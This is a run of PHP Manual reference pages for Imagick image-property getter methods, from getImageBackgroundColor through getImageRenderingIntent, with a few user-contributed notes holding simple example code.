Imagick::getImageBackgroundColor — Returns the image background color

Description

ImagickPixel Imagick::getImageBackgroundColor ( void )

Returns the image background color.

Return Values

Returns an ImagickPixel set to the background color of the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageArtifact
Imagick::getImageBlob
Imagick


Returns the image sequence as a blob

Imagick::getImageBackgroundColor
Imagick::getImageBluePrimary
Imagick
PHP Manual

Imagick::getImageBlob

(PECL imagick 2.0.0)

Imagick::getImageBlob — Returns the image sequence as a blob

Description

string Imagick::getImageBlob ( void )

Implements direct to memory image formats. It returns the image sequence as a string. The format of the image determines the format of the returned blob (GIF, JPEG, PNG, etc.). To return a different image format, use Imagick::setImageFormat().

Return Values

Returns a string containing the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Trevor 01-Dec-2011 03:41
It seems that this method can return a zero-length string if faced with large-ish data.  No exceptions are thrown.

<?php
  $image = new Imagick();
  if (!$image->newImage(1000,1,'white')) throw new Exception();
  if (!$image->scaleImage(0,200)) throw new Exception();
  print "Image size: {$image->getImageWidth()},{$image->getImageHeight()}\n";
  if (!$image->setImageFormat("jpeg")) throw new Exception();
  $a = $image->getImageBlob();
  print "Rendered to ".strlen($a)." bytes\n";
?>

Restrict your output image size, or ensure that the blob you get back isn't empty.  (Note that IM seems to be doing the work, it delays for some time.  But there's no indication of any error anywhere.)
Imagick::getImageBackgroundColor
Imagick::getImageBluePrimary
Imagick


Returns the chromaticy blue primary point

Imagick::getImageBlob
Imagick::getImageBorderColor
Imagick
PHP Manual

Imagick::getImageBluePrimary

(PECL imagick 2.0.0)

Imagick::getImageBluePrimary — Returns the chromaticy blue primary point

Description

array Imagick::getImageBluePrimary ( void )

Returns the chromaticity blue primary point for the image.

Parameters

x

The chromaticity blue primary x-point.

y

The chromaticity blue primary y-point.

Return Values

Array consisting of "x" and "y" coordinates of point.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageBlob
Imagick::getImageBorderColor
Imagick


Returns the image border color

Imagick::getImageBluePrimary
Imagick::getImageChannelDepth
Imagick
PHP Manual

Imagick::getImageBorderColor

(PECL imagick 2.0.0)

Imagick::getImageBorderColor — Returns the image border color

Description

ImagickPixel Imagick::getImageBorderColor ( void )

Returns the image border color.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageBluePrimary
Imagick::getImageChannelDepth
Imagick


Gets the depth for a particular image channel

Imagick::getImageBorderColor
Imagick::getImageChannelDistortion
Imagick
PHP Manual

Imagick::getImageChannelDepth

(PECL imagick 2.0.0)

Imagick::getImageChannelDepth — Gets the depth for a particular image channel

Description

int Imagick::getImageChannelDepth ( int $channel )

Gets the depth for a particular image channel.

Parameters

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageBorderColor
Imagick::getImageChannelDistortion
Imagick


Compares image channels of an image to a reconstructed image

Imagick::getImageChannelDepth
Imagick::getImageChannelDistortions
Imagick
PHP Manual

Imagick::getImageChannelDistortion

(PECL imagick 2.0.0)

Imagick::getImageChannelDistortion — Compares image channels of an image to a reconstructed image

Description

float Imagick::getImageChannelDistortion ( Imagick $reference , int $channel , int $metric )

Compares one or more image channels of an image to a reconstructed image and returns the specified distortion metric.

Parameters

reference

Imagick object to compare to.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

metric

One of the metric type constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageChannelDepth
Imagick::getImageChannelDistortions
Imagick


Gets channel distortions

Imagick::getImageChannelDistortion
Imagick::getImageChannelExtrema
Imagick
PHP Manual

Imagick::getImageChannelDistortions

(No version information available, might only be in SVN)

Imagick::getImageChannelDistortions — Gets channel distortions

Description

float Imagick::getImageChannelDistortions ( Imagick $reference , int $metric [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Compares one or more image channels of an image to a reconstructed image and returns the specified distortion metrics This method is available if Imagick has been compiled against ImageMagick version 6.4.4 or newer.

Parameters

reference

Imagick object containing the reference image

metric

Refer to this list of metric type constants.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns a double describing the channel distortion.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageChannelDistortion
Imagick::getImageChannelExtrema
Imagick


Gets the extrema for one or more image channels

Imagick::getImageChannelDistortions
Imagick::getImageChannelKurtosis
Imagick
PHP Manual

Imagick::getImageChannelExtrema

(PECL imagick 2.0.0)

Imagick::getImageChannelExtrema — Gets the extrema for one or more image channels

Description

array Imagick::getImageChannelExtrema ( int $channel )

Gets the extrema for one or more image channels. Return value is an associative array with the keys "minima" and "maxima".

Parameters

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageChannelDistortions
Imagick::getImageChannelKurtosis
Imagick


The getImageChannelKurtosis purpose

Imagick::getImageChannelExtrema
Imagick::getImageChannelMean
Imagick
PHP Manual

Imagick::getImageChannelKurtosis

(No version information available, might only be in SVN)

Imagick::getImageChannelKurtosis — The getImageChannelKurtosis purpose

Description

public array Imagick::getImageChannelKurtosis ([ int $channel = Imagick::CHANNEL_DEFAULT ] )

Get the kurtosis and skewness of a specific channel. This method is available if Imagick has been compiled against ImageMagick version 6.4.9 or newer.

Parameters

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns an array with kurtosis and skewness members.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageChannelExtrema
Imagick::getImageChannelMean
Imagick


Gets the mean and standard deviation

Imagick::getImageChannelKurtosis
Imagick::getImageChannelRange
Imagick
PHP Manual

Imagick::getImageChannelMean

(PECL imagick 2.0.0)

Imagick::getImageChannelMean — Gets the mean and standard deviation

Description

array Imagick::getImageChannelMean ( int $channel )

Gets the mean and standard deviation of one or more image channels. Return value is an associative array with the keys "mean" and "standardDeviation".

Parameters

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageChannelKurtosis
Imagick::getImageChannelRange
Imagick


Gets channel range

Imagick::getImageChannelMean
Imagick::getImageChannelStatistics
Imagick
PHP Manual

Imagick::getImageChannelRange

(PECL imagick 2.2.1)

Imagick::getImageChannelRange — Gets channel range

Description

array Imagick::getImageChannelRange ( int $channel )

Gets the range for one or more image channels. This method is available if Imagick has been compiled against ImageMagick version 6.4.0 or newer.

Parameters

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns an array containing minima and maxima values of the channel(s).

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageChannelMean
Imagick::getImageChannelStatistics
Imagick


Returns statistics for each channel in the image

Imagick::getImageChannelRange
Imagick::getImageClipMask
Imagick
PHP Manual

Imagick::getImageChannelStatistics

(PECL imagick 2.0.0)

Imagick::getImageChannelStatistics — Returns statistics for each channel in the image

Description

array Imagick::getImageChannelStatistics ( void )

Returns statistics for each channel in the image. The statistics include the channel depth, its minima and maxima, the mean, and the standard deviation. You can access the red channel mean, for example, like this:

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageChannelRange
Imagick::getImageClipMask
Imagick


Gets image clip mask

Imagick::getImageChannelStatistics
Imagick::getImageColormapColor
Imagick
PHP Manual

Imagick::getImageClipMask

(No version information available, might only be in SVN)

Imagick::getImageClipMask — Gets image clip mask

Description

Imagick Imagick::getImageClipMask ( void )

Returns the image clip mask. The clip mask is an Imagick object containing the clip mask. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Return Values

Returns an Imagick object containing the clip mask.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageChannelStatistics
Imagick::getImageColormapColor
Imagick


Returns the color of the specified colormap index

Imagick::getImageClipMask
Imagick::getImageColors
Imagick
PHP Manual

Imagick::getImageColormapColor

(PECL imagick 2.0.0)

Imagick::getImageColormapColor — Returns the color of the specified colormap index

Description

ImagickPixel Imagick::getImageColormapColor ( int $index )

Returns the color of the specified colormap index.

Parameters

index

The offset into the image colormap.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageClipMask
Imagick::getImageColors
Imagick


Gets the number of unique colors in the image

Imagick::getImageColormapColor
Imagick::getImageColorspace
Imagick
PHP Manual

Imagick::getImageColors

(PECL imagick 2.0.0)

Imagick::getImageColors — Gets the number of unique colors in the image

Description

int Imagick::getImageColors ( void )

Gets the number of unique colors in the image.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageColormapColor
Imagick::getImageColorspace
Imagick


Gets the image colorspace

Imagick::getImageColors
Imagick::getImageCompose
Imagick
PHP Manual

Imagick::getImageColorspace

(PECL imagick 2.0.0)

Imagick::getImageColorspace — Gets the image colorspace

Description

int Imagick::getImageColorspace ( void )

Gets the image colorspace.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageColors
Imagick::getImageCompose
Imagick


Returns the composite operator associated with the image

Imagick::getImageColorspace
Imagick::getImageCompression
Imagick
PHP Manual

Imagick::getImageCompose

(PECL imagick 2.0.0)

Imagick::getImageCompose — Returns the composite operator associated with the image

Description

int Imagick::getImageCompose ( void )

Returns the composite operator associated with the image.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageColorspace
Imagick::getImageCompression
Imagick


Gets the current image's compression type

Imagick::getImageCompose
Imagick::getImageCompressionQuality
Imagick
PHP Manual

Imagick::getImageCompression

(PECL imagick 2.2.2)

Imagick::getImageCompression — Gets the current image's compression type

Description

int Imagick::getImageCompression ( void )

Gets the current image's compression type.

Return Values

Returns the compression constant

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageCompose
Imagick::getImageCompressionQuality
Imagick


Gets the current image's compression quality

Imagick::getImageCompression
Imagick::getImageDelay
Imagick
PHP Manual

Imagick::getImageCompressionQuality

(PECL imagick 2.2.2)

Imagick::getImageCompressionQuality — Gets the current image's compression quality

Description

int Imagick::getCompressionQuality ( void )

Gets the current image's compression quality

Return Values

Returns integer describing the images compression quality

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageCompression
Imagick::getImageDelay
Imagick


Gets the image delay

Imagick::getImageCompressionQuality
Imagick::getImageDepth
Imagick
PHP Manual

Imagick::getImageDelay

(PECL imagick 2.0.0)

Imagick::getImageDelay — Gets the image delay

Description

int Imagick::getImageDelay ( void )

Gets the image delay.

Return Values

Returns the image delay.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

jabaga at abv dot bg 18-Sep-2011 08:31
Here is how you can get the delay between the frames in gif file:

<?php
$animation = new Imagick("file.gif");

foreach ($animation as $frame) {
  $delay = $animation->getImageDelay();

echo $delay;
}
?>
Imagick::getImageCompressionQuality
Imagick::getImageDepth
Imagick


Gets the image depth

Imagick::getImageDelay
Imagick::getImageDispose
Imagick
PHP Manual

Imagick::getImageDepth

(PECL imagick 0.9.1-0.9.9)

Imagick::getImageDepth — Gets the image depth

Description

int Imagick::getImageDepth ( void )

Gets the image depth.

Return Values

The image depth.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageDelay
Imagick::getImageDispose
Imagick


Gets the image disposal method

Imagick::getImageDepth
Imagick::getImageDistortion
Imagick
PHP Manual

Imagick::getImageDispose

(PECL imagick 2.0.0)

Imagick::getImageDispose — Gets the image disposal method

Description

int Imagick::getImageDispose ( void )

Gets the image disposal method.

Return Values

Returns the dispose method on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageDepth
Imagick::getImageDistortion
Imagick


Compares an image to a reconstructed image

Imagick::getImageDispose
Imagick::getImageExtrema
Imagick
PHP Manual

Imagick::getImageDistortion

(PECL imagick 2.0.0)

Imagick::getImageDistortion — Compares an image to a reconstructed image

Description

float Imagick::getImageDistortion ( MagickWand $reference , int $metric )

Compares an image to a reconstructed image and returns the specified distortion metric.

Parameters

reference

Imagick object to compare to.

metric

One of the metric type constants.

Return Values

Returns the distortion metric used on the image (or the best guess thereof).

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageDispose
Imagick::getImageExtrema
Imagick


Gets the extrema for the image

Imagick::getImageDistortion
Imagick::getImageFilename
Imagick
PHP Manual

Imagick::getImageExtrema

(PECL imagick 2.0.0)

Imagick::getImageExtrema — Gets the extrema for the image

Description

array Imagick::getImageExtrema ( void )

Gets the extrema for the image. Returns an associative array with the keys "min" and "max".

Return Values

Returns an associative array with the keys "min" and "max".

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageDistortion
Imagick::getImageFilename
Imagick


Returns the filename of a particular image in a sequence

Imagick::getImageExtrema
Imagick::getImageFormat
Imagick
PHP Manual

Imagick::getImageFilename

(PECL imagick 2.0.0)

Imagick::getImageFilename — Returns the filename of a particular image in a sequence

Description

string Imagick::getImageFilename ( void )

Returns the filename of a particular image in a sequence.

Return Values

Returns a string with the filename of the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageExtrema
Imagick::getImageFormat
Imagick


Returns the format of a particular image in a sequence

Imagick::getImageFilename
Imagick::getImageGamma
Imagick
PHP Manual

Imagick::getImageFormat

(PECL imagick 2.0.0)

Imagick::getImageFormat — Returns the format of a particular image in a sequence

Description

string Imagick::getImageFormat ( void )

Returns the format of a particular image in a sequence.

Return Values

Returns a string containing the image format on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageFilename
Imagick::getImageGamma
Imagick


Gets the image gamma

Imagick::getImageFormat
Imagick::getImageGeometry
Imagick
PHP Manual

Imagick::getImageGamma

(PECL imagick 2.0.0)

Imagick::getImageGamma — Gets the image gamma

Description

float Imagick::getImageGamma ( void )

Gets the image gamma.

Return Values

Returns the image gamma on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageFormat
Imagick::getImageGeometry
Imagick


Gets the width and height as an associative array

Imagick::getImageGamma
Imagick::getImageGravity
Imagick
PHP Manual

Imagick::getImageGeometry

(PECL imagick 2.0.0)

Imagick::getImageGeometry — Gets the width and height as an associative array

Description

array Imagick::getImageGeometry ( void )

Returns the width and height as an associative array.

Return Values

Returns an array with the width/height of the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

tim at provu dot co dot uk 20-Nov-2008 07:05
Example code:

<?php
$image = new imagick($filename);

$geo=$image->getImageGeometry();

$sizex=$geo['width'];
$sizey=$geo['height'];
?>
Imagick::getImageGamma
Imagick::getImageGravity
Imagick


Gets the image gravity

Imagick::getImageGeometry
Imagick::getImageGreenPrimary
Imagick
PHP Manual

Imagick::getImageGravity

(No version information available, might only be in SVN)

Imagick::getImageGravity — Gets the image gravity

Description

int Imagick::getImageGravity ( void )

Gets the current gravity value of the image. Unlike Imagick::getGravity(), this method returns the gravity defined for the current image sequence. This method is available if Imagick has been compiled against ImageMagick version 6.4.4 or newer.

Return Values

Returns the images gravity property. Refer to the list of gravity constants.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageGeometry
Imagick::getImageGreenPrimary
Imagick


Returns the chromaticy green primary point

Imagick::getImageGravity
Imagick::getImageHeight
Imagick
PHP Manual

Imagick::getImageGreenPrimary

(PECL imagick 2.0.0)

Imagick::getImageGreenPrimary — Returns the chromaticy green primary point

Description

array Imagick::getImageGreenPrimary ( void )

Returns the chromaticity green primary point. Returns an array with the keys "x" and "y".

Return Values

Returns an array with the keys "x" and "y" on success, throws an ImagickException on failure.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageGravity
Imagick::getImageHeight
Imagick


Returns the image height

Imagick::getImageGreenPrimary
Imagick::getImageHistogram
Imagick
PHP Manual

Imagick::getImageHeight

(PECL imagick 2.0.0)

Imagick::getImageHeight — Returns the image height

Description

int Imagick::getImageHeight ( void )

Returns the image height.

Return Values

Returns the image height in pixels.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

perching_eagle at yahoo dot com 04-Oct-2007 06:19
//file location c:/htdocs/rose.jpg
$image=new Imagick("c:/htdocs/rose.jpg");
$height=$image->getImageHeight();
print "the image height is ".$height;

result:
the image height is 134
Imagick::getImageGreenPrimary
Imagick::getImageHistogram
Imagick


Gets the image histogram

Imagick::getImageHeight
Imagick::getImageIndex
Imagick
PHP Manual

Imagick::getImageHistogram

(PECL imagick 2.0.0)

Imagick::getImageHistogram — Gets the image histogram

Description

array Imagick::getImageHistogram ( void )

Returns the image histogram as an array of ImagickPixel objects.

Return Values

Returns the image histogram as an array of ImagickPixel objects.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Iddles 20-Jun-2011 04:02
Scratched my head for a while trying to figure out why this only returned a list of coloured pixels, and seemingly no colour count. Well it turns out that for some reason, the ImagickPixel class has a "getColorCount" method, which seems a strange place for it but hey.

<?php
$image = new Imagick("thing.png");
$pixels=$image->getImageHistogram();
foreach($pixels as $p){
 $colors = $p->getColor();
 foreach($colors as $c){
        print( "$c\t" );
 }
 print( "\t:\t" . $p->getColorCount() . "\n" );
}
?>

This will print out something like:

252    250    252    1    :    125
194    156    182    1    :    126
109    18    79    1    :    11440
2    117    162    1    :    12761
255    255    255    1    :    40769

...where the colums are red, green, blue, alpha, followed by the number of times that colour appears in the image.
Imagick::getImageHeight
Imagick::getImageIndex
Imagick


Gets the index of the current active image

Imagick::getImageHistogram
Imagick::getImageInterlaceScheme
Imagick
PHP Manual

Imagick::getImageIndex

(PECL imagick 2.0.0)

Imagick::getImageIndex — Gets the index of the current active image

Description

int Imagick::getImageIndex ( void )

Returns the index of the current active image within the Imagick object. This method has been deprecated. See Imagick::getIteratorIndex().

Return Values

Returns an integer containing the index of the image in the stack.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageHistogram
Imagick::getImageInterlaceScheme
Imagick


Gets the image interlace scheme

Imagick::getImageIndex
Imagick::getImageInterpolateMethod
Imagick
PHP Manual

Imagick::getImageInterlaceScheme

(PECL imagick 2.0.0)

Imagick::getImageInterlaceScheme — Gets the image interlace scheme

Description

int Imagick::getImageInterlaceScheme ( void )

Gets the image interlace scheme.

Return Values

Returns the interlace scheme as an integer on success. Throw an ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageIndex
Imagick::getImageInterpolateMethod
Imagick


Returns the interpolation method

Imagick::getImageInterlaceScheme
Imagick::getImageIterations
Imagick
PHP Manual

Imagick::getImageInterpolateMethod

(PECL imagick 2.0.0)

Imagick::getImageInterpolateMethod — Returns the interpolation method

Description

int Imagick::getImageInterpolateMethod ( void )

Returns the interpolation method for the specified image. The method is one of the Imagick::INTERPOLATE_* constants.

Return Values

Returns the interpolate method on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageInterlaceScheme
Imagick::getImageIterations
Imagick


Gets the image iterations

Imagick::getImageInterpolateMethod
Imagick::getImageLength
Imagick
PHP Manual

Imagick::getImageIterations

(PECL imagick 2.0.0)

Imagick::getImageIterations — Gets the image iterations

Description

int Imagick::getImageIterations ( void )

Gets the image iterations.

Return Values

Returns the image iterations as an integer.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageInterpolateMethod
Imagick::getImageLength
Imagick


Returns the image length in bytes

Imagick::getImageIterations
Imagick::getImageMagickLicense
Imagick
PHP Manual

Imagick::getImageLength

(PECL imagick 2.0.0)

Imagick::getImageLength — Returns the image length in bytes

Description

int Imagick::getImageLength ( void )

Returns the image length in bytes

Return Values

Returns an int containing the current image size.

Examples

Example #1 Using Imagick::getImageLength():

Getting image length in bytes

<?php
$image = new Imagick('test.jpg');
echo $image->getImageLength() . ' bytes';
?>

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageIterations
Imagick::getImageMagickLicense
Imagick


Returns a string containing the ImageMagick license

Imagick::getImageLength
Imagick::getImageMatte
Imagick
PHP Manual

Imagick::getImageMagickLicense

(PECL imagick 2.0.0)

Imagick::getImageMagickLicense — Returns a string containing the ImageMagick license

Description

string Imagick::getImageMagickLicense ( void )

Returns a string containing the ImageMagick license

Return Values

Returns a string containing the ImageMagick license.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageLength
Imagick::getImageMatte
Imagick


Return if the image has a matte channel

Imagick::getImageMagickLicense
Imagick::getImageMatteColor
Imagick
PHP Manual

Imagick::getImageMatte

(PECL imagick 2.0.0)

Imagick::getImageMatte — Return if the image has a matte channel

Description

bool Imagick::getImageMatte ( void )

Returns TRUE if the image has a matte channel otherwise false. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageMagickLicense
Imagick::getImageMatteColor
Imagick


Returns the image matte color

Imagick::getImageMatte
Imagick::getImageOrientation
Imagick
PHP Manual

Imagick::getImageMatteColor

(PECL imagick 2.0.0)

Imagick::getImageMatteColor — Returns the image matte color

Description

ImagickPixel Imagick::getImageMatteColor ( void )

Returns the image matte color.

Return Values

Returns ImagickPixel object on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageMatte
Imagick::getImageOrientation
Imagick


Gets the image orientation

Imagick::getImageMatteColor
Imagick::getImagePage
Imagick
PHP Manual

Imagick::getImageOrientation

(PECL imagick 2.0.0)

Imagick::getImageOrientation — Gets the image orientation

Description

int Imagick::getImageOrientation ( void )

Gets the image orientation. The return value is one of the orientation constants.

Return Values

Returns an int on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageMatteColor
Imagick::getImagePage
Imagick


Returns the page geometry

Imagick::getImageOrientation
Imagick::getImagePixelColor
Imagick
PHP Manual

Imagick::getImagePage

(PECL imagick 2.0.0)

Imagick::getImagePage — Returns the page geometry

Description

array Imagick::getImagePage ( void )

Returns the page geometry associated with the image in an array with the keys "width", "height", "x", and "y".

Return Values

Returns the page geometry associated with the image in an array with the keys "width", "height", "x", and "y".

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageOrientation
Imagick::getImagePixelColor
Imagick


Returns the color of the specified pixel

Imagick::getImagePage
Imagick::getImageProfile
Imagick
PHP Manual

Imagick::getImagePixelColor

(PECL imagick 2.0.0)

Imagick::getImagePixelColor — Returns the color of the specified pixel

Description

ImagickPixel Imagick::getImagePixelColor ( int $x , int $y )

Returns the color of the specified pixel.

Parameters

x

The x-coordinate of the pixel

y

The y-coordinate of the pixel

Return Values

Returns an ImagickPixel instance for the color at the coordinates given.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImagePage
Imagick::getImageProfile
Imagick


Returns the named image profile

Imagick::getImagePixelColor
Imagick::getImageProfiles
Imagick
PHP Manual

Imagick::getImageProfile

(PECL imagick 2.0.0)

Imagick::getImageProfile — Returns the named image profile

Description

string Imagick::getImageProfile ( string $name )

Returns the named image profile.

Parameters

name

The name of the profile to return.

Return Values

Returns a string containing the image profile.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImagePixelColor
Imagick::getImageProfiles
Imagick


Returns the image profiles

Imagick::getImageProfile
Imagick::getImageProperties
Imagick
PHP Manual

Imagick::getImageProfiles

(PECL imagick 2.0.0)

Imagick::getImageProfiles — Returns the image profiles

Description

array Imagick::getImageProfiles ([ string $pattern = "*" [, bool $only_names = true ]] )

Returns all associated profiles that match the pattern. If TRUE is passed as second parameter only the profile names are returned. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

pattern

The pattern for profile names.

only_names

Whether to return only profile names. If FALSE then values are returned as well

Return Values

Returns an array containing the image profiles or profile names.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageProfile
Imagick::getImageProperties
Imagick


Returns the image properties

Imagick::getImageProfiles
Imagick::getImageProperty
Imagick
PHP Manual

Imagick::getImageProperties

(PECL imagick 2.0.0)

Imagick::getImageProperties — Returns the image properties

Description

array Imagick::getImageProperties ([ string $pattern = "*" [, bool $only_names = true ]] )

Returns all associated properties that match the pattern. If TRUE is passed as second parameter only the property names are returned. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

pattern

The pattern for property names.

only_names

Whether to return only property names. If FALSE then also the values are returned

Return Values

Returns an array containing the image properties or property names.

Examples

Example #1 Using Imagick::getImageProperties():

An example of extracting EXIF information.

<?php

/* Create the object */
$im = new imagick("/path/to/example.jpg");

/* Get the EXIF information */
$exifArray = $im->getImageProperties("exif:*");

/* Loop trough the EXIF properties */
foreach ($exifArray as $name => $property)
{
    echo "{$name} => {$property}<br />\n";
}

?>

User Contributed Notes

www dot query at gmail dot com 08-Sep-2011 11:58
To access a photograph's EXIF data an alternative method is the normal PHP Exif function.

<?php

        $exif_data = exif_read_data($pic1);
        $edate = $exif_data['DateTime'];

?>

See: http://php.net/manual/en/book.exif.php
mhufford 03-Aug-2009 02:03
ImageMagick only supports setting a very small number of EXIF properties.

See http://www.imagemagick.org/discourse-server/viewtopic.php?t=14234
Imagick::getImageProfiles
Imagick::getImageProperty
Imagick


Returns the named image property

Imagick::getImageProperties
Imagick::getImageRedPrimary
Imagick
PHP Manual

Imagick::getImageProperty

(PECL imagick 2.0.0)

Imagick::getImageProperty — Returns the named image property

Description

string Imagick::getImageProperty ( string $name )

Returns the named image property. This method is available if Imagick has been compiled against ImageMagick version 6.3.2 or newer.

Parameters

name

name of the property (for example Exif:DateTime)

Examples

Example #1 Using Imagick::getImageProperty():

Setting and getting image property

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");

$image->setImageProperty('Exif:Make', 'Imagick');
echo $image->getImageProperty('Exif:Make');
?>

See Also

  • Imagick::setImageProperty() - Sets an image property

Return Values

Returns a string containing the image property, false if a property with the given name does not exist.

User Contributed Notes

Paul Janik 08-Sep-2011 12:00
To access a photograph's EXIF data, an alternative method is the normal PHP Exif function.

<?php

        $exif_data = exif_read_data($pic1);
        $edate = $exif_data['DateTime'];

?>

See: http://php.net/manual/en/book.exif.php
Imagick::getImageProperties
Imagick::getImageRedPrimary
Imagick


Returns the chromaticity red primary point

Imagick::getImageProperty
Imagick::getImageRegion
Imagick
PHP Manual

Imagick::getImageRedPrimary

(PECL imagick 2.0.0)

Imagick::getImageRedPrimary — Returns the chromaticity red primary point

Description

array Imagick::getImageRedPrimary ( void )

Returns the chromaticity red primary point as an array with the keys "x" and "y".

Return Values

Returns the chromaticity red primary point as an array with the keys "x" and "y". Throw an ImagickException on error.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageProperty
Imagick::getImageRegion
Imagick


Extracts a region of the image

Imagick::getImageRedPrimary
Imagick::getImageRenderingIntent
Imagick
PHP Manual

Imagick::getImageRegion

(PECL imagick 2.0.0)

Imagick::getImageRegion — Extracts a region of the image

Description

Imagick Imagick::getImageRegion ( int $width , int $height , int $x , int $y )

Extracts a region of the image and returns it as a new Imagick object.

Parameters

width

The width of the extracted region.

height

The height of the extracted region.

x

X-coordinate of the top-left corner of the extracted region.

y

Y-coordinate of the top-left corner of the extracted region.

Return Values

Extracts a region of the image and returns it as a new wand.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

zolcos at hotmail dot com 22-Jul-2009 02:45
getImageRegion has the same side effect that was mentioned for operations that change the crop of the image -- the new image preserves the old canvas and positioning info. For example, using annotateImage on the new image will interpret the positioning arguments relative to the old image. To correct it, reset this info with setImagePage.

<?php
$im->setImagePage(0, 0, 0, 0);
?>
Imagick::getImageRedPrimary
Imagick::getImageRenderingIntent
Imagick


Gets the image rendering intent

Imagick::getImageRegion
Imagick::getImageResolution
Imagick
PHP Manual

Imagick::getImageRenderingIntent

(PECL imagick 2.0.0)

Imagick::getImageRenderingIntent — Gets the image rendering intent

Description

int Imagick::getImageRenderingIntent ( void )

Gets the image rendering intent.

Return Values

Returns the image rendering intent.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageRegion
Imagick::getImageResolution
Imagick


